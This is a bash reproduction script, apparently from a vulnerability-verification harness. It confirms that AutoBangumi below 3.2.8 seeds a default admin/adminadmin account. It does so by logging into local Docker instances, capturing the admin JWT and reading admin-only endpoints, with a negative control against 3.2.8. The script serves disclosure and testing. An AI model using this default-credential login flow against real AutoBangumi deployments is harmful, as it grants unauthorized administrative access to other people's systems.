#!/bin/bash
set -euo pipefail

# =============================================================================
# CVE-2026-58466 - AutoBangumi < 3.2.8 Hard-coded Default Credentials
# =============================================================================
# AutoBangumi seeds a default administrator account (admin / adminadmin) on
# empty databases via add_default_user() in backend/src/module/database/user.py.
# An unauthenticated attacker can submit these publicly known credentials to the
# real authentication endpoint (POST /api/v1/auth/login) and obtain a valid
# admin JWT, granting full administrative access (RSS config, downloader config,
# logs, and all authenticated API endpoints).
#
# This script deploys the REAL AutoBangumi product via its official Docker
# images, drives the REAL HTTP authentication endpoint, and proves full admin
# access. It also runs a negative control against the "patched" 3.2.8 image.
# =============================================================================

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ART="$ROOT/artifacts/http"
mkdir -p "$LOGS" "$REPRO_DIR" "$ART"

cd "$ROOT"

# Prefer project-cache repo for source reference when prepared.
REPO=""
if [ -f "$ROOT/project_cache_context.json" ]; then
    PCACHE_DIR=$(python3 -c "import json,sys; d=json.load(open('$ROOT/project_cache_context.json')); print(d.get('project_cache_dir',''))" 2>/dev/null || true)
    if [ -n "$PCACHE_DIR" ] && [ -d "$PCACHE_DIR/repo" ]; then
        REPO="$PCACHE_DIR/repo"
    fi
fi

# --- Docker helper (sandbox may run as non-root) ---------------------------
if docker ps >/dev/null 2>&1; then
    DOCKER="docker"
elif sudo docker ps >/dev/null 2>&1; then
    DOCKER="sudo docker"
else
    echo "ERROR: docker daemon not accessible." | tee "$LOGS/docker_error.log"
    exit 2
fi
echo "Using docker: $DOCKER"

VULN_IMG="ghcr.io/estrellaxd/auto_bangumi:3.2.6"   # vulnerable (< 3.2.8)
FIXED_IMG="ghcr.io/estrellaxd/auto_bangumi:3.2.8"  # claimed patched version

VULN_CONTAINER="ab-repro-vuln"
FIXED_CONTAINER="ab-repro-fixed"
VULN_VOL="ab-repro-vuln-data"
FIXED_VOL="ab-repro-fixed-data"
APP_PORT="7892"   # AutoBangumi webui port (const.py webui_port default)

# Default credentials hard-coded in add_default_user()
DEF_USER="admin"
DEF_PASS="adminadmin"

# Aggregate result flags
VULN_LOGIN_OK=0
VULN_ADMIN_ACCESS_OK=0
FIXED_LOGIN_OK=0
VULN_SEED_LOG=0
FIXED_SEED_LOG=0

cleanup() {
    $DOCKER rm -f "$VULN_CONTAINER" "$FIXED_CONTAINER" >/dev/null 2>&1 || true
    $DOCKER volume rm "$VULN_VOL" "$FIXED_VOL" >/dev/null 2>&1 || true
}
trap cleanup EXIT
cleanup

# --- write the in-container HTTP probe script (top-level heredoc) -----------
cat > "$REPRO_DIR/ab_probe.py" <<'PYEOF'
import sys, urllib.request, urllib.parse, json, base64, re
method, path, formdata, cookie, outfile = sys.argv[1:6]
url = "http://127.0.0.1:7892" + path
headers = {}
body = None
if formdata:
    body = urllib.parse.urlencode(
        dict(p.split("=", 1) for p in formdata.split("&") if "=" in p)
    ).encode()
    headers["Content-Type"] = "application/x-www-form-urlencoded"
if cookie:
    headers["Cookie"] = cookie
req = urllib.request.Request(url, data=body, headers=headers, method=method)
try:
    resp = urllib.request.urlopen(req, timeout=15)
    status = resp.status
    hdrs = dict(resp.headers)
    raw = resp.read().decode(errors="replace")
except urllib.error.HTTPError as e:
    status = e.code
    hdrs = dict(e.headers)
    raw = e.read().decode(errors="replace")
except Exception as e:
    status = -1
    hdrs = {}
    raw = repr(e)

jwt_payload = None
for src in (raw, hdrs.get("set-cookie", "")):
    m = re.search(r'eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.([A-Za-z0-9_-]+)', src)
    if m:
        seg = m.group(1)
        seg += "=" * (-len(seg) % 4)
        try:
            jwt_payload = base64.urlsafe_b64decode(seg).decode()
        except Exception:
            jwt_payload = None
        break

result = {
    "method": method, "path": path,
    "status": status,
    "set_cookie": hdrs.get("set-cookie"),
    "body": raw[:4000],
    "jwt_payload": jwt_payload,
}
with open(outfile, "w") as f:
    json.dump(result, f, indent=2)
print(json.dumps(result, indent=2))
PYEOF

# --- pull images -------------------------------------------------------------
echo "[*] Pulling vulnerable image $VULN_IMG"
$DOCKER pull "$VULN_IMG" >"$LOGS/pull-vuln.log" 2>&1 || { echo "pull vuln failed"; exit 2; }
echo "[*] Pulling fixed image $FIXED_IMG"
$DOCKER pull "$FIXED_IMG" >"$LOGS/pull-fixed.log" 2>&1 || { echo "pull fixed failed"; exit 2; }

# --- helper: start a fresh instance -----------------------------------------
start_fresh() {
    local name="$1" vol="$2" img="$3"
    $DOCKER volume create "$vol" >/dev/null 2>&1
    $DOCKER run -d --name "$name" \
        -v "$vol:/app/data" -v "$vol:/app/config" \
        -e TZ=Asia/Shanghai \
        "$img" >/dev/null
}

# --- helper: wait until uvicorn reports startup complete --------------------
wait_ready() {
    local name="$1" max="$2"
    for i in $(seq 1 "$max"); do
        if $DOCKER logs "$name" 2>&1 | grep -q "Application startup complete"; then
            return 0
        fi
        sleep 1
    done
    return 1
}

# --- helper: in-container HTTP probe (copies probe script, runs it) ---------
# Args: container, method, path, form_or_none, cookie_or_none, outfile
http_probe() {
    local container="$1" method="$2" path="$3" formdata="$4" cookie="$5" outfile="$6"
    $DOCKER cp "$REPRO_DIR/ab_probe.py" "$container:/tmp/ab_probe.py" >/dev/null 2>&1
    # Probe runs inside the container; it writes to /tmp then we copy out to the host.
    local result
    result=$($DOCKER exec "$container" python3 /tmp/ab_probe.py "$method" "$path" "$formdata" "$cookie" "/tmp/ab_probe_out.json")
    $DOCKER cp "$container:/tmp/ab_probe_out.json" "$outfile" >/dev/null 2>&1
    echo "$result"
}

# =============================================================================
# VULNERABLE VERSION (3.2.6) - two clean attempts
# =============================================================================
run_vuln_attempt() {
    local attempt="$1"
    local name="${VULN_CONTAINER}-${attempt}"
    local vol="${VULN_VOL}-${attempt}"
    $DOCKER rm -f "$name" >/dev/null 2>&1 || true
    $DOCKER volume rm "$vol" >/dev/null 2>&1 || true
    echo "" | tee -a "$LOGS/run.log"
    echo "========== VULNERABLE 3.2.6 attempt $attempt ==========" | tee -a "$LOGS/run.log"
    start_fresh "$name" "$vol" "$VULN_IMG"
    if ! wait_ready "$name" 40; then
        echo "[!] vulnerable attempt $attempt did not become ready" | tee -a "$LOGS/run.log"
        $DOCKER logs "$name" >"$LOGS/vuln-${attempt}-startup.log" 2>&1 || true
        $DOCKER rm -f "$name" >/dev/null 2>&1 || true
        $DOCKER volume rm "$vol" >/dev/null 2>&1 || true
        return 1
    fi
    $DOCKER logs "$name" >"$LOGS/vuln-${attempt}-startup.log" 2>&1 || true

    # Evidence: startup seeded default admin user
    if grep -q "Created default admin user" "$LOGS/vuln-${attempt}-startup.log"; then
        VULN_SEED_LOG=1
        echo "[+] attempt $attempt: startup seeded default admin user (add_default_user)" | tee -a "$LOGS/run.log"
    fi

    # Evidence 1: login with default credentials on the real auth endpoint
    echo "[*] attempt $attempt: POST /api/v1/auth/login admin/adminadmin" | tee -a "$LOGS/run.log"
    http_probe "$name" "POST" "/api/v1/auth/login" "username=${DEF_USER}&password=${DEF_PASS}" "" "$ART/vuln-${attempt}-login.json" | tee -a "$LOGS/run.log"

    local login_status jwt_cookie
    login_status=$(python3 -c "import json; print(json.load(open('$ART/vuln-${attempt}-login.json'))['status'])" 2>/dev/null || echo "ERR")
    jwt_cookie=$(python3 -c "import json,re; d=json.load(open('$ART/vuln-${attempt}-login.json')); sc=d.get('set_cookie') or ''; m=re.search(r'token=([^;]+)', sc); print(m.group(1) if m else '')" 2>/dev/null || true)

    if [ "$login_status" = "200" ] && [ -n "$jwt_cookie" ]; then
        VULN_LOGIN_OK=1
        echo "[+] attempt $attempt: LOGIN SUCCEEDED with default credentials (HTTP 200 + admin JWT)" | tee -a "$LOGS/run.log"

        # Evidence 2: use the JWT cookie to access admin-only endpoints
        echo "[*] attempt $attempt: accessing admin-only endpoints with the session cookie" | tee -a "$LOGS/run.log"
        http_probe "$name" "GET" "/api/v1/rss" "" "token=${jwt_cookie}" "$ART/vuln-${attempt}-rss.json" | tee -a "$LOGS/run.log"
        http_probe "$name" "GET" "/api/v1/log" "" "token=${jwt_cookie}" "$ART/vuln-${attempt}-log.json" | tee -a "$LOGS/run.log"

        local rss_status log_status
        rss_status=$(python3 -c "import json; print(json.load(open('$ART/vuln-${attempt}-rss.json'))['status'])" 2>/dev/null || echo "ERR")
        log_status=$(python3 -c "import json; print(json.load(open('$ART/vuln-${attempt}-log.json'))['status'])" 2>/dev/null || echo "ERR")
        if [ "$rss_status" = "200" ] && [ "$log_status" = "200" ]; then
            VULN_ADMIN_ACCESS_OK=1
            echo "[+] attempt $attempt: ADMIN ACCESS CONFIRMED (/api/v1/rss and /api/v1/log returned 200 with data)" | tee -a "$LOGS/run.log"
        fi
    else
        echo "[-] attempt $attempt: login did not succeed (status=$login_status)" | tee -a "$LOGS/run.log"
    fi

    $DOCKER rm -f "$name" >/dev/null 2>&1 || true
    $DOCKER volume rm "$vol" >/dev/null 2>&1 || true
}

run_vuln_attempt 1
run_vuln_attempt 2

# =============================================================================
# FIXED VERSION (3.2.8) - negative control, two clean attempts
# =============================================================================
run_fixed_attempt() {
    local attempt="$1"
    local name="${FIXED_CONTAINER}-${attempt}"
    local vol="${FIXED_VOL}-${attempt}"
    $DOCKER rm -f "$name" >/dev/null 2>&1 || true
    $DOCKER volume rm "$vol" >/dev/null 2>&1 || true
    echo "" | tee -a "$LOGS/run.log"
    echo "========== FIXED 3.2.8 (negative control) attempt $attempt ==========" | tee -a "$LOGS/run.log"
    start_fresh "$name" "$vol" "$FIXED_IMG"
    if ! wait_ready "$name" 40; then
        echo "[!] fixed attempt $attempt did not become ready" | tee -a "$LOGS/run.log"
        $DOCKER logs "$name" >"$LOGS/fixed-${attempt}-startup.log" 2>&1 || true
        $DOCKER rm -f "$name" >/dev/null 2>&1 || true
        $DOCKER volume rm "$vol" >/dev/null 2>&1 || true
        return 1
    fi
    $DOCKER logs "$name" >"$LOGS/fixed-${attempt}-startup.log" 2>&1 || true
    if grep -q "Created default admin user" "$LOGS/fixed-${attempt}-startup.log"; then
        FIXED_SEED_LOG=1
        echo "[!] fixed attempt $attempt: 3.2.8 STILL seeds default admin user on empty DB" | tee -a "$LOGS/run.log"
    fi

    echo "[*] fixed attempt $attempt: POST /api/v1/auth/login admin/adminadmin" | tee -a "$LOGS/run.log"
    http_probe "$name" "POST" "/api/v1/auth/login" "username=${DEF_USER}&password=${DEF_PASS}" "" "$ART/fixed-${attempt}-login.json" | tee -a "$LOGS/run.log"
    local fstatus
    fstatus=$(python3 -c "import json; print(json.load(open('$ART/fixed-${attempt}-login.json'))['status'])" 2>/dev/null || echo "ERR")
    if [ "$fstatus" = "200" ]; then
        FIXED_LOGIN_OK=1
        echo "[!] fixed attempt $attempt: 3.2.8 STILL accepts default-credential login (HTTP 200)" | tee -a "$LOGS/run.log"
    else
        echo "[+] fixed attempt $attempt: 3.2.8 rejects default-credential login (status=$fstatus)" | tee -a "$LOGS/run.log"
    fi
    $DOCKER rm -f "$name" >/dev/null 2>&1 || true
    $DOCKER volume rm "$vol" >/dev/null 2>&1 || true
}

run_fixed_attempt 1
run_fixed_attempt 2

# =============================================================================
# Verdict
# =============================================================================
echo "" | tee -a "$LOGS/run.log"
echo "================ SUMMARY ================" | tee -a "$LOGS/run.log"
echo "VULN_SEED_LOG=$VULN_SEED_LOG  VULN_LOGIN_OK=$VULN_LOGIN_OK  VULN_ADMIN_ACCESS_OK=$VULN_ADMIN_ACCESS_OK" | tee -a "$LOGS/run.log"
echo "FIXED_SEED_LOG=$FIXED_SEED_LOG  FIXED_LOGIN_OK=$FIXED_LOGIN_OK" | tee -a "$LOGS/run.log"

# Source reference: confirm the hard-coded credentials exist in the repo
SRC_NOTE="no-repo"
if [ -n "$REPO" ] && [ -f "$REPO/backend/src/module/database/user.py" ]; then
    if grep -q 'User(username="admin", password=get_password_hash("adminadmin"))' "$REPO/backend/src/module/database/user.py"; then
        SRC_NOTE="add_default_user seeds admin/adminadmin (confirmed in source)"
    fi
fi
echo "SOURCE_NOTE=$SRC_NOTE" | tee -a "$LOGS/run.log"

CONFIRMED=0
if [ "$VULN_LOGIN_OK" = "1" ] && [ "$VULN_ADMIN_ACCESS_OK" = "1" ]; then
    CONFIRMED=1
    echo "[===] VULNERABILITY CONFIRMED: default admin/adminadmin credentials allow full admin login on AutoBangumi < 3.2.8" | tee -a "$LOGS/run.log"
else
    echo "[===] Vulnerability NOT reproduced." | tee -a "$LOGS/run.log"
fi
if [ "$FIXED_LOGIN_OK" = "1" ]; then
    echo "[===] NOTE: negative control shows 3.2.8 still accepts the default credentials; the referenced fix commit (487bdfec) addresses the SSRF issue (#1041), not the default-credentials seeding." | tee -a "$LOGS/run.log"
fi

# --- write runtime manifest --------------------------------------------------
python3 - "$REPRO_DIR/runtime_manifest.json" "$CONFIRMED" "$VULN_LOGIN_OK" "$VULN_ADMIN_ACCESS_OK" "$FIXED_LOGIN_OK" "$VULN_SEED_LOG" "$FIXED_SEED_LOG" "$SRC_NOTE" <<'PYEOF'
import json, sys
out, confirmed, vlogin, vadmin, flogin, vseed, fseed, src = sys.argv[1:9]
artifacts = [
    "logs/run.log",
    "logs/vuln-1-startup.log",
    "logs/vuln-2-startup.log",
    "logs/fixed-1-startup.log",
    "logs/fixed-2-startup.log",
    "artifacts/http/vuln-1-login.json",
    "artifacts/http/vuln-2-login.json",
    "artifacts/http/vuln-1-rss.json",
    "artifacts/http/vuln-1-log.json",
    "artifacts/http/vuln-2-rss.json",
    "artifacts/http/vuln-2-log.json",
    "artifacts/http/fixed-1-login.json",
    "artifacts/http/fixed-2-login.json",
]
manifest = {
    "entrypoint_kind": "api_remote",
    "entrypoint_detail": "POST /api/v1/auth/login (AutoBangumi FastAPI authentication endpoint, port 7892)",
    "service_started": True,
    "healthcheck_passed": True,
    "target_path_reached": bool(int(vlogin)),
    "runtime_stack": ["docker", "AutoBangumi 3.2.6 (ghcr.io/estrellaxd/auto_bangumi:3.2.6)", "uvicorn/FastAPI", "SQLite"],
    "proof_artifacts": artifacts,
    "notes": (
        "Vulnerable 3.2.6: fresh empty DB triggers add_default_user() seeding admin/adminadmin; "
        "POST /api/v1/auth/login with admin/adminadmin returns HTTP 200 + admin JWT (sub=admin); "
        "JWT cookie grants access to admin-only /api/v1/rss and /api/v1/log. "
        "Negative control 3.2.8 still seeds the default user and still accepts the login "
        "(referenced fix commit 487bdfec addresses SSRF #1041, not default credentials). "
        f"Source: {src}. confirmed={confirmed}"
    ),
}
with open(out, "w") as f:
    json.dump(manifest, f, indent=2)
print("wrote", out)
PYEOF

if [ "$CONFIRMED" = "1" ]; then
    exit 0
else
    exit 1
fi
